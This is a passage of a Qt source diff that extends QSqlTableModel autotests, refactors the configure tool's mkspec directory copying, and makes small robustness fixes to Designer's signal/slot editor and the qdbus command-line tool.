configuration").arg(engine)).toLocal8Bit(), SkipAll ); + } +} + +void tst_QSqlTableModel::generic_data_with_strategies(const QString &engine) +{ + if ( dbs.fillTestTableWithStrategies(engine) == 0 ) { + if (engine.isEmpty()) QSKIP( "No database drivers are available in this Qt configuration", SkipAll ); else QSKIP( (QString("No database drivers of type %1 are available in this Qt configuration").arg(engine)).toLocal8Bit(), SkipAll ); @@ -289,6 +304,81 @@ void tst_QSqlTableModel::select() QCOMPARE(model.data(model.index(3, 3)), QVariant()); } +void tst_QSqlTableModel::insertColumns() +{ + // Just like the select test, with extra stuff + QFETCH(QString, dbName); + QFETCH(int, submitpolicy_i); + QSqlTableModel::EditStrategy submitpolicy = (QSqlTableModel::EditStrategy) submitpolicy_i; + QSqlDatabase db = QSqlDatabase::database(dbName); + CHECK_DATABASE(db); + + QSqlTableModel model(0, db); + model.setTable(test); + model.setSort(0, Qt::AscendingOrder); + model.setEditStrategy(submitpolicy); + + QVERIFY_SQL(model, select()); + + QCOMPARE(model.rowCount(), 3); + QCOMPARE(model.columnCount(), 3); + + QCOMPARE(model.data(model.index(0, 0)).toInt(), 1); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(0, 2)).toInt(), 1); + QCOMPARE(model.data(model.index(0, 3)), QVariant()); + + QCOMPARE(model.data(model.index(1, 0)).toInt(), 2); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(1, 2)).toInt(), 2); + QCOMPARE(model.data(model.index(1, 3)), QVariant()); + + QCOMPARE(model.data(model.index(2, 0)).toInt(), 3); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); + QCOMPARE(model.data(model.index(2, 2)).toInt(), 3); + QCOMPARE(model.data(model.index(2, 3)), QVariant()); + + QCOMPARE(model.data(model.index(3, 0)), QVariant()); + QCOMPARE(model.data(model.index(3, 1)), QVariant()); + QCOMPARE(model.data(model.index(3, 2)), QVariant()); + QCOMPARE(model.data(model.index(3, 3)), QVariant()); + + // Now add a column at 0 and 2 + model.insertColumn(0); + model.insertColumn(2); + + QCOMPARE(model.rowCount(), 3); + QCOMPARE(model.columnCount(), 5); + + QCOMPARE(model.data(model.index(0, 0)), QVariant()); + QCOMPARE(model.data(model.index(0, 1)).toInt(), 1); + QCOMPARE(model.data(model.index(0, 2)), QVariant()); + QCOMPARE(model.data(model.index(0, 3)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(0, 4)).toInt(), 1); + QCOMPARE(model.data(model.index(0, 5)), QVariant()); + + QCOMPARE(model.data(model.index(1, 0)), QVariant()); + QCOMPARE(model.data(model.index(1, 1)).toInt(), 2); + QCOMPARE(model.data(model.index(1, 2)), QVariant()); + QCOMPARE(model.data(model.index(1, 3)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(1, 4)).toInt(), 2); + QCOMPARE(model.data(model.index(1, 5)), QVariant()); + + QCOMPARE(model.data(model.index(2, 0)), QVariant()); + QCOMPARE(model.data(model.index(2, 1)).toInt(), 3); + QCOMPARE(model.data(model.index(2, 2)), QVariant()); + QCOMPARE(model.data(model.index(2, 3)).toString(), QString("vohi")); + QCOMPARE(model.data(model.index(2, 4)).toInt(), 3); + QCOMPARE(model.data(model.index(2, 5)), QVariant()); + + QCOMPARE(model.data(model.index(3, 0)), QVariant()); + QCOMPARE(model.data(model.index(3, 1)), QVariant()); + QCOMPARE(model.data(model.index(3, 2)), QVariant()); + QCOMPARE(model.data(model.index(3, 3)), QVariant()); + QCOMPARE(model.data(model.index(3, 4)), QVariant()); + QCOMPARE(model.data(model.index(3, 5)), QVariant()); +} + void tst_QSqlTableModel::setRecord() { QFETCH(QString, dbName); @@ -314,9 +404,14 @@ void tst_QSqlTableModel::setRecord() rec.setValue(2, rec.value(2).toString() + 'X'); QVERIFY(model.setRecord(i, rec)); - if ((QSqlTableModel::EditStrategy)submitpolicy == QSqlTableModel::OnManualSubmit) + if ((QSqlTableModel::EditStrategy)submitpolicy == QSqlTableModel::OnManualSubmit) { + // setRecord should emit dataChanged() itself for manualSubmit + QCOMPARE(spy.count(), 1); + QCOMPARE(spy.at(0).count(), 2); + QCOMPARE(qvariant_cast<QModelIndex>(spy.at(0).at(0)), model.index(i, 0)); + QCOMPARE(qvariant_cast<QModelIndex>(spy.at(0).at(1)), model.index(i, rec.count() - 1)); QVERIFY(model.submitAll()); - else if ((QSqlTableModel::EditStrategy)submitpolicy == QSqlTableModel::OnRowChange && i == model.rowCount() -1) + } else if ((QSqlTableModel::EditStrategy)submitpolicy == QSqlTableModel::OnRowChange && i == model.rowCount() -1) model.submit(); else { // dataChanged() is not emitted when submitAll() is called @@ -339,26 +434,90 @@ void tst_QSqlTableModel::setRecord() void tst_QSqlTableModel::insertRow() { QFETCH(QString, dbName); + QFETCH(int, submitpolicy_i); + QSqlTableModel::EditStrategy submitpolicy = (QSqlTableModel::EditStrategy) submitpolicy_i; QSqlDatabase db = QSqlDatabase::database(dbName); CHECK_DATABASE(db); QSqlTableModel model(0, db); - model.setEditStrategy(QSqlTableModel::OnRowChange); + model.setEditStrategy(submitpolicy); model.setTable(test); model.setSort(0, Qt::AscendingOrder); QVERIFY_SQL(model, select()); + QCOMPARE(model.data(model.index(0, 0)).toInt(), 1); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(0, 2)).toInt(), 1); + QCOMPARE(model.data(model.index(1, 0)).toInt(), 2); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(1, 2)).toInt(), 2); + QCOMPARE(model.data(model.index(2, 0)).toInt(), 3); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); + QCOMPARE(model.data(model.index(2, 2)).toInt(), 3); + QVERIFY(model.insertRow(2)); + + QCOMPARE(model.data(model.index(0, 0)).toInt(), 1); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(0, 2)).toInt(), 1); + QCOMPARE(model.data(model.index(1, 0)).toInt(), 2); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(1, 2)).toInt(), 2); + QCOMPARE(model.data(model.index(2, 0)).toInt(), 0); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(2, 2)).toInt(), 0); + QCOMPARE(model.data(model.index(3, 0)).toInt(), 3); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("vohi")); + QCOMPARE(model.data(model.index(3, 2)).toInt(), 3); + QSqlRecord rec = model.record(1); rec.setValue(0, 42); - rec.setValue(1, QString("vohi")); + rec.setValue(1, QString("francis")); + + // FieldChange updates immediately and resorts + // Row/Manual submit does not resort QVERIFY(model.setRecord(2, rec)); - QCOMPARE(model.data(model.index(2, 0)).toInt(), 42); - QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); - QCOMPARE(model.data(model.index(2, 2)).toInt(), 2); + QCOMPARE(model.data(model.index(0, 0)).toInt(), 1); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(0, 2)).toInt(), 1); + QCOMPARE(model.data(model.index(1, 0)).toInt(), 2); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(1, 2)).toInt(), 2); + + // See comment above setRecord + if (submitpolicy == QSqlTableModel::OnFieldChange) { + QCOMPARE(model.data(model.index(2, 0)).toInt(), 3); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); + QCOMPARE(model.data(model.index(2, 2)).toInt(), 3); + QCOMPARE(model.data(model.index(3, 0)).toInt(), 42); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("francis")); + QCOMPARE(model.data(model.index(3, 2)).toInt(), 2); + } else { + QCOMPARE(model.data(model.index(2, 0)).toInt(), 42); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("francis")); + QCOMPARE(model.data(model.index(2, 2)).toInt(), 2); + QCOMPARE(model.data(model.index(3, 0)).toInt(), 3); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("vohi")); + QCOMPARE(model.data(model.index(3, 2)).toInt(), 3); + } QVERIFY(model.submitAll()); + + // After the submit we should have the resorted view + QCOMPARE(model.data(model.index(0, 0)).toInt(), 1); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(0, 2)).toInt(), 1); + QCOMPARE(model.data(model.index(1, 0)).toInt(), 2); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(1, 2)).toInt(), 2); + QCOMPARE(model.data(model.index(2, 0)).toInt(), 3); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); + QCOMPARE(model.data(model.index(2, 2)).toInt(), 3); + QCOMPARE(model.data(model.index(3, 0)).toInt(), 42); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("francis")); + QCOMPARE(model.data(model.index(3, 2)).toInt(), 2); + } void tst_QSqlTableModel::insertRecord() @@ -538,10 +697,19 @@ void tst_QSqlTableModel::removeRows() QCOMPARE(model.rowCount(), 3); QSignalSpy beforeDeleteSpy(&model, SIGNAL(beforeDelete(int))); + + // Make sure wrong stuff is ok + QVERIFY(!model.removeRows(-1,1)); // negative start + QVERIFY(!model.removeRows(-1, 0)); // negative start, and zero count + QVERIFY(!model.removeRows(1, 0)); // zero count + QVERIFY(!model.removeRows(5, 1)); // past end (causes a beforeDelete to be emitted) + QVERIFY(!model.removeRows(1, 0, model.index(2, 0))); // can't pass a valid modelindex + QVERIFY_SQL(model, removeRows(0, 2)); - QVERIFY(beforeDeleteSpy.count() == 2); - QVERIFY(beforeDeleteSpy.at(0).at(0).toInt() == 0); - QVERIFY(beforeDeleteSpy.at(1).at(0).toInt() == 1); + QCOMPARE(beforeDeleteSpy.count(), 3); + QVERIFY(beforeDeleteSpy.at(0).at(0).toInt() == 5); + QVERIFY(beforeDeleteSpy.at(1).at(0).toInt() == 0); + QVERIFY(beforeDeleteSpy.at(2).at(0).toInt() == 1); QCOMPARE(model.rowCount(), 1); QCOMPARE(model.data(model.index(0, 1)).toString(), QString("vohi")); model.clear(); @@ -555,6 +723,13 @@ void tst_QSqlTableModel::removeRows() // When the edit strategy is OnManualSubmit the beforeDelete() signal // isn't emitted until submitAll() is called. + + QVERIFY(!model.removeRows(-1,1)); // negative start + QVERIFY(!model.removeRows(-1, 0)); // negative start, and zero count + QVERIFY(!model.removeRows(1, 0)); // zero count + QVERIFY(!model.removeRows(5, 1)); // past end (DOESN'T cause a beforeDelete to be emitted) + QVERIFY(!model.removeRows(1, 0, model.index(2, 0))); // can't pass a valid modelindex + qRegisterMetaType<Qt::Orientation>("Qt::Orientation"); QSignalSpy headerDataChangedSpy(&model, SIGNAL(headerDataChanged(Qt::Orientation, int, int))); QVERIFY(model.removeRows(0, 2, QModelIndex())); @@ -576,33 +751,146 @@ void tst_QSqlTableModel::removeRows() void tst_QSqlTableModel::removeInsertedRow() { QFETCH(QString, dbName); + QFETCH(int, submitpolicy_i); + QSqlTableModel::EditStrategy submitpolicy = (QSqlTableModel::EditStrategy) submitpolicy_i; QSqlDatabase db = QSqlDatabase::database(dbName); CHECK_DATABASE(db); - for (int i = 0; i <= 1; ++i) { + QSqlTableModel model(0, db); + model.setTable(test); + model.setSort(0, Qt::AscendingOrder); + + model.setEditStrategy(submitpolicy); + QVERIFY_SQL(model, select()); + QCOMPARE(model.rowCount(), 3); - QSqlTableModel model(0, db); - model.setTable(test); - model.setSort(0, Qt::AscendingOrder); + QVERIFY(model.insertRow(1)); + QCOMPARE(model.rowCount(), 4); - model.setEditStrategy(i == 0 - ? QSqlTableModel::OnRowChange : QSqlTableModel::OnManualSubmit); - QVERIFY_SQL(model, select()); - QCOMPARE(model.rowCount(), 3); + QVERIFY(model.removeRow(1)); + QCOMPARE(model.rowCount(), 3); + + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); +} - QVERIFY(model.insertRow(1)); - QCOMPARE(model.rowCount(), 4); +void tst_QSqlTableModel::removeInsertedRows() +{ + QFETCH(QString, dbName); + QSqlDatabase db = QSqlDatabase::database(dbName); + CHECK_DATABASE(db); - QVERIFY(model.removeRow(1)); - QCOMPARE(model.rowCount(), 3); + QSqlTableModel model(0, db); + model.setTable(test); + model.setSort(0, Qt::AscendingOrder); + model.setEditStrategy(QSqlTableModel::OnManualSubmit); // you can't insert more than one row otherwise + QVERIFY_SQL(model, select()); + QCOMPARE(model.rowCount(), 3); - QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); - QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); - QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); - model.clear(); + // First put two empty rows, and remove them one by one + QVERIFY(model.insertRows(1, 2)); + QCOMPARE(model.rowCount(), 5); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi")); - recreateTestTables(); - } + QVERIFY(model.removeRow(1)); + QCOMPARE(model.rowCount(), 4); + + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("vohi")); + + QVERIFY(model.removeRow(1)); + QCOMPARE(model.rowCount(), 3); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); + + // Now put two empty rows, and remove them all at once + QVERIFY(model.insertRows(1, 2)); + QCOMPARE(model.rowCount(), 5); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi")); + + QVERIFY(model.removeRows(1, 2)); + QCOMPARE(model.rowCount(), 3); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); + + + // Now put two empty rows, and remove one good and two empty + QVERIFY(model.insertRows(1, 2)); + QCOMPARE(model.rowCount(), 5); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi")); + + QVERIFY(model.removeRows(0, 3)); + QVERIFY(model.submitAll()); // otherwise the remove of the real row doesn't work + + QCOMPARE(model.rowCount(), 2); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("vohi")); + + // Reset back again + model.clear(); + recreateTestTables(); + model.setTable(test); + model.setSort(0, Qt::AscendingOrder); + model.setEditStrategy(QSqlTableModel::OnManualSubmit); // you can't insert more than one row otherwise + QVERIFY_SQL(model, select()); + QCOMPARE(model.rowCount(), 3); + + // Now two empty and one good + QVERIFY(model.insertRows(1, 2)); + QCOMPARE(model.rowCount(), 5); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi")); + + QVERIFY(model.removeRows(1, 3)); + QVERIFY(model.submitAll()); + QCOMPARE(model.rowCount(), 2); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("vohi")); + + // Reset back again + model.clear(); + recreateTestTables(); + model.setTable(test); + model.setSort(0, Qt::AscendingOrder); + model.setEditStrategy(QSqlTableModel::OnManualSubmit); // you can't insert more than one row otherwise + QVERIFY_SQL(model, select()); + QCOMPARE(model.rowCount(), 3); + + // one empty, one good, one empty + QVERIFY(model.insertRows(1, 1)); + QVERIFY(model.insertRows(3, 1)); + QCOMPARE(model.rowCount(), 5); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(3, 1)).toString(), QString()); + QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi")); + + QVERIFY(model.removeRows(1, 3)); + QVERIFY(model.submitAll()); + QCOMPARE(model.rowCount(), 2); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("vohi")); } void tst_QSqlTableModel::emptyTable() diff --git a/tests/auto/qsvgrenderer/qsvgrenderer.pro b/tests/auto/qsvgrenderer/qsvgrenderer.pro index 49337e2..fc98776 100644 --- a/tests/auto/qsvgrenderer/qsvgrenderer.pro +++ b/tests/auto/qsvgrenderer/qsvgrenderer.pro @@ -18,3 +18,6 @@ wince*|symbian { } } +!symbian: { + DEFINES += SRCDIR=\\\"$$PWD/\\\" +} diff --git a/tests/auto/qsvgrenderer/tst_qsvgrenderer.cpp b/tests/auto/qsvgrenderer/tst_qsvgrenderer.cpp index 5928a09..9fbf2a0 100644 --- a/tests/auto/qsvgrenderer/tst_qsvgrenderer.cpp +++ b/tests/auto/qsvgrenderer/tst_qsvgrenderer.cpp @@ -51,6 +51,10 @@ #include <QPicture> #include <QXmlStreamReader> +#ifndef SRCDIR +#define SRCDIR +#endif + //TESTED_CLASS= //TESTED_FILES= @@ -647,13 +651,13 @@ void tst_QSvgRenderer::gradientRefs() #ifndef QT_NO_COMPRESS void tst_QSvgRenderer::testGzLoading() { - QSvgRenderer renderer(QLatin1String("heart.svgz")); + QSvgRenderer renderer(QLatin1String(SRCDIR "heart.svgz")); QVERIFY(renderer.isValid()); QSvgRenderer resourceRenderer(QLatin1String(":/heart.svgz")); QVERIFY(resourceRenderer.isValid()); - QFile largeFileGz("large.svgz"); + QFile largeFileGz(SRCDIR "large.svgz"); largeFileGz.open(QIODevice::ReadOnly); QByteArray data = largeFileGz.readAll(); QSvgRenderer autoDetectGzData(data); diff --git a/tools/configure/configureapp.cpp b/tools/configure/configureapp.cpp index 6b87c8e..19cef9a 100644 --- a/tools/configure/configureapp.cpp +++ b/tools/configure/configureapp.cpp @@ -3265,8 +3265,7 @@ void Configure::generateConfigfiles() } // Copy configured mkspec to default directory, but remove the old one first, if there is any - QString mkspecsPath = buildPath + "/mkspecs"; - QString defSpec = mkspecsPath + "/default"; + QString defSpec = buildPath + "/mkspecs/default"; QFileInfo defSpecInfo(defSpec); if (defSpecInfo.exists()) { if (!Environment::rmdir(defSpec)) { @@ -3276,30 +3275,13 @@ void Configure::generateConfigfiles() } } - QDir mkspecsDir(mkspecsPath); - if (!mkspecsDir.mkdir("default")) { - cout << "Couldn't create default mkspec dir!" << endl; - dictionary["DONE"] = "error"; - return; - } - QString spec = dictionary.contains("XQMAKESPEC") ? dictionary["XQMAKESPEC"] : dictionary["QMAKESPEC"]; QString pltSpec = sourcePath + "/mkspecs/" + spec; - outName = defSpec + "/qmake.conf"; - QFile qmakeConfFile(outName); - if (qmakeConfFile.open(QFile::WriteOnly | QFile::Text)) { - QTextStream qmakeConfStream; - qmakeConfStream.setDevice(&qmakeConfFile); - // While QMAKESPEC_ORIGINAL being relative or absolute doesn't matter for the - // primary use of this variable by qmake to identify the original mkspec, the - // variable is also used for few special cases where the absolute path is required. - // Conversely, the include of the original qmake.conf must be done using relative path, - // as some Qt binary deployments are done in a manner that doesn't allow for patching - // the paths at the installation time. - qmakeConfStream << "QMAKESPEC_ORIGINAL=" << pltSpec << endl << endl; - qmakeConfStream << "include(" << "../" << spec << "/qmake.conf)" << endl << endl; - qmakeConfStream.flush(); - qmakeConfFile.close(); + QString includeSpec = buildPath + "/mkspecs/" + spec; + if (!Environment::cpdir(pltSpec, defSpec, includeSpec)) { + cout << "Couldn't update default mkspec! Does " << qPrintable(pltSpec) << " exist?" << endl; + dictionary["DONE"] = "error"; + return; } // Generate the new qconfig.cpp file diff --git a/tools/configure/environment.cpp b/tools/configure/environment.cpp index 8040c7a..1885955 100644 --- a/tools/configure/environment.cpp +++ b/tools/configure/environment.cpp @@ -397,10 +397,25 @@ int Environment::execute(QStringList arguments, const QStringList &additionalEnv return exitCode; } -bool Environment::cpdir(const QString &srcDir, const QString &destDir) +/*! + Copies the \a srcDir contents into \a destDir. + + If \a includeSrcDir is not empty, any files with 'h', 'prf', or 'conf' suffixes + will not be copied over from \a srcDir. Instead a new file will be created + in \a destDir with the same name and that file will include a file with the + same name from the \a includeSrcDir using relative path and appropriate + syntax for the file type. + + Returns true if copying was successful. +*/ +bool Environment::cpdir(const QString &srcDir, + const QString &destDir, + const QString &includeSrcDir) { QString cleanSrcName = QDir::cleanPath(srcDir); QString cleanDstName = QDir::cleanPath(destDir); + QString cleanIncludeName = QDir::cleanPath(includeSrcDir); + #ifdef CONFIGURE_DEBUG_CP_DIR qDebug() << "Attempt to cpdir " << cleanSrcName << "->" << cleanDstName; #endif @@ -411,21 +426,59 @@ bool Environment::cpdir(const QString &srcDir, const QString &destDir) bool result = true; QDir dir = QDir(cleanSrcName); + QDir destinationDir = QDir(cleanDstName); QFileInfoList allEntries = dir.entryInfoList(QDir::AllDirs | QDir::Files | QDir::NoDotAndDotDot); for (int i = 0; result && (i < allEntries.count()); ++i) { QFileInfo entry = allEntries.at(i); bool intermediate = true; if (entry.isDir()) { + QString newIncSrcDir; + if (!includeSrcDir.isEmpty()) + newIncSrcDir = QString("%1/%2").arg(cleanIncludeName).arg(entry.fileName()); + intermediate = cpdir(QString("%1/%2").arg(cleanSrcName).arg(entry.fileName()), - QString("%1/%2").arg(cleanDstName).arg(entry.fileName())); + QString("%1/%2").arg(cleanDstName).arg(entry.fileName()), + newIncSrcDir); } else { QString destFile = QString("%1/%2").arg(cleanDstName).arg(entry.fileName()); #ifdef CONFIGURE_DEBUG_CP_DIR qDebug() << "About to cp (file)" << entry.absoluteFilePath() << "->" << destFile; #endif QFile::remove(destFile); - intermediate = QFile::copy(entry.absoluteFilePath(), destFile); - SetFileAttributes((wchar_t*)destFile.utf16(), FILE_ATTRIBUTE_NORMAL); + QString suffix = entry.suffix(); + if (!includeSrcDir.isEmpty() && (suffix == "prf" || suffix == "conf" || suffix == "h")) { + QString relativeIncludeFilePath = QString("%1/%2").arg(cleanIncludeName).arg(entry.fileName()); + relativeIncludeFilePath = destinationDir.relativeFilePath(relativeIncludeFilePath); +#ifdef CONFIGURE_DEBUG_CP_DIR + qDebug() << "...instead generate relative include to" << relativeIncludeFilePath; +#endif + QFile currentFile(destFile); + if (currentFile.open(QFile::WriteOnly | QFile::Text)) { + QTextStream fileStream; + fileStream.setDevice(¤tFile); + + if (suffix == "prf" || suffix == "conf") { + if (entry.fileName() == "qmake.conf") { + // While QMAKESPEC_ORIGINAL being relative or absolute doesn't matter for the + // primary use of this variable by qmake to identify the original mkspec, the + // variable is also used for few special cases where the absolute path is required. + // Conversely, the include of the original qmake.conf must be done using relative path, + // as some Qt binary deployments are done in a manner that doesn't allow for patching + // the paths at the installation time. + fileStream << "QMAKESPEC_ORIGINAL=" << cleanSrcName << endl << endl; + } + fileStream << "include(" << relativeIncludeFilePath << ")" << endl << endl; + } else if (suffix == "h") { + fileStream << "#include \"" << relativeIncludeFilePath << "\"" << endl << endl; + } + + fileStream.flush(); + currentFile.close(); + } + } else { + intermediate = QFile::copy(entry.absoluteFilePath(), destFile); + SetFileAttributes((wchar_t*)destFile.utf16(), FILE_ATTRIBUTE_NORMAL); + } } if(!intermediate) { qDebug() << "cpdir: Failure for " << entry.fileName() << entry.isDir(); diff --git a/tools/configure/environment.h b/tools/configure/environment.h index 6bb962f..faee63f 100644 --- a/tools/configure/environment.h +++ b/tools/configure/environment.h @@ -65,7 +65,9 @@ public: static bool detectExecutable(const QString &executable); static int execute(QStringList arguments, const QStringList &additionalEnv, const QStringList &removeEnv); - static bool cpdir(const QString &srcDir, const QString &destDir); + static bool cpdir(const QString &srcDir, + const QString &destDir, + const QString &includeSrcDir = QString()); static bool rmdir(const QString &name); static QString symbianEpocRoot(); diff --git a/tools/designer/src/components/signalsloteditor/signalslot_utils.cpp b/tools/designer/src/components/signalsloteditor/signalslot_utils.cpp index f396df2..3ac0167 100644 --- a/tools/designer/src/components/signalsloteditor/signalslot_utils.cpp +++ b/tools/designer/src/components/signalsloteditor/signalslot_utils.cpp @@ -72,7 +72,6 @@ static void memberList(QDesignerFormEditorInterface *core, { if (!object) return; - // 1) member sheet const QDesignerMemberSheetExtension *members = qt_extension<QDesignerMemberSheetExtension*>(core->extensionManager(), object); Q_ASSERT(members != 0); @@ -118,15 +117,15 @@ static void memberList(QDesignerFormEditorInterface *core, if (!metaDataBase) return; - const qdesigner_internal::MetaDataBaseItem *mdbItem = metaDataBase->metaDataBaseItem(object); - Q_ASSERT(mdbItem); - const QStringList mdbFakeMethods = member_type == qdesigner_internal::SlotMember ? mdbItem->fakeSlots() : mdbItem->fakeSignals(); - if (!mdbFakeMethods.empty()) - foreach (const QString &fakeMethod, mdbFakeMethods) - if (predicate(fakeMethod)) { - *it = ClassNameSignaturePair(className, fakeMethod); - ++it; - } + if (const qdesigner_internal::MetaDataBaseItem *mdbItem = metaDataBase->metaDataBaseItem(object)) { + const QStringList mdbFakeMethods = member_type == qdesigner_internal::SlotMember ? mdbItem->fakeSlots() : mdbItem->fakeSignals(); + if (!mdbFakeMethods.empty()) + foreach (const QString &fakeMethod, mdbFakeMethods) + if (predicate(fakeMethod)) { + *it = ClassNameSignaturePair(className, fakeMethod); + ++it; + } + } } namespace { @@ -245,10 +244,9 @@ namespace qdesigner_internal { ClassesMemberFunctions reverseClassesMemberFunctions(const QString &obj_name, MemberType member_type, const QString &peer, QDesignerFormWindowInterface *form) { - QObject *object = form->findChild<QObject*>(obj_name); + QObject *object = form->mainContainer()->findChild<QObject*>(obj_name); if (!object) return ClassesMemberFunctions(); - QDesignerFormEditorInterface *core = form->core(); ClassesMemberFunctions rc; diff --git a/tools/designer/src/components/signalsloteditor/signalsloteditorwindow.cpp b/tools/designer/src/components/signalsloteditor/signalsloteditorwindow.cpp index 494c56b..86ce674 100644 --- a/tools/designer/src/components/signalsloteditor/signalsloteditorwindow.cpp +++ b/tools/designer/src/components/signalsloteditor/signalsloteditorwindow.cpp @@ -658,7 +658,7 @@ QWidget *ConnectionDelegate::createEditor(QWidget *parent, const qdesigner_internal::ClassesMemberFunctions class_list = qdesigner_internal::reverseClassesMemberFunctions(obj_name, type, peer, m_form); - QObject *object = m_form->findChild<QObject*>(obj_name); + QObject *object = m_form->mainContainer()->findChild<QObject*>(obj_name); inline_editor->addText(type == qdesigner_internal::SignalMember ? tr("<signal>") : tr("<slot>")); foreach (const qdesigner_internal::ClassMemberFunctions &class_info, class_list) { diff --git a/tools/qdbus/qdbus/qdbus.cpp b/tools/qdbus/qdbus/qdbus.cpp index 6742810..a3821a1 100644 --- a/tools/qdbus/qdbus/qdbus.cpp +++ b/tools/qdbus/qdbus/qdbus.cpp @@ -50,6 +50,10 @@ #include <QtDBus/QtDBus> #include <private/qdbusutil_p.h> +QT_BEGIN_NAMESPACE +Q_DBUS_EXPORT extern bool qt_dbus_metaobject_skip_annotations; +QT_END_NAMESPACE + static QDBusConnection connection(QLatin1String("")); static bool printArgumentsLiterally = false; @@ -99,7 +103,7 @@ static void printArg(const QVariant &v) else if (arg.currentSignature() == QLatin1String("a{sv}")) printArg(qdbus_cast<QVariantMap>(arg)); else - printf("qdbus: I don't know how to display an argument of type '%s'\n", + printf("qdbus: I don't know how to display an argument of type '%s', run with --literal.\n", qPrintable(arg.currentSignature())); } else { printf("%s\n", qPrintable(v.toString())); @@ -311,7 +315,11 @@ static int placeCall(const QString &service, const QString &path, const QString int id = QVariant::nameToType(types.at(i)); if (id == QVariant::UserType) id = QMetaType::type(types.at(i)); - Q_ASSERT(id); + if (!id) { + fprintf(stderr, "Cannot call method '%s' because type '%s' is unknown to this tool\n", + qPrintable(member), types.at(i).constData()); + return 1; + } QVariant p; QString argument; @@ -435,6 +443,7 @@ static void printAllServices(QDBusConnectionInterface *bus) int main(int argc, char **argv) { + QT_PREPEND_NAMESPACE(qt_dbus_metaobject_skip_annotations) = true; QCoreApplication app(argc, argv); QStringList args = app.arguments(); args.takeFirst(); diff --git a/tools/qdoc3/JAVATODO.txt b/tools/qdoc3/JAVATODO.txt deleted file mode 100644 index 911b7a5..0000000 --- a/tools/qdoc3/JAVATODO.txt +++ /dev/null @@ -1,28 +0,0 @@ - * index page on "O" and downwards? - * flag types, e.g. QTextStream::NumberFlags - * example references qt.nokia.com/doc etc. - - * fix enum value table (e.g. QCoreApplication.Encoding.html) - * check reimplementation of interface functions (e.g. QWidget::widthMM()) - * handle '::' in doc, 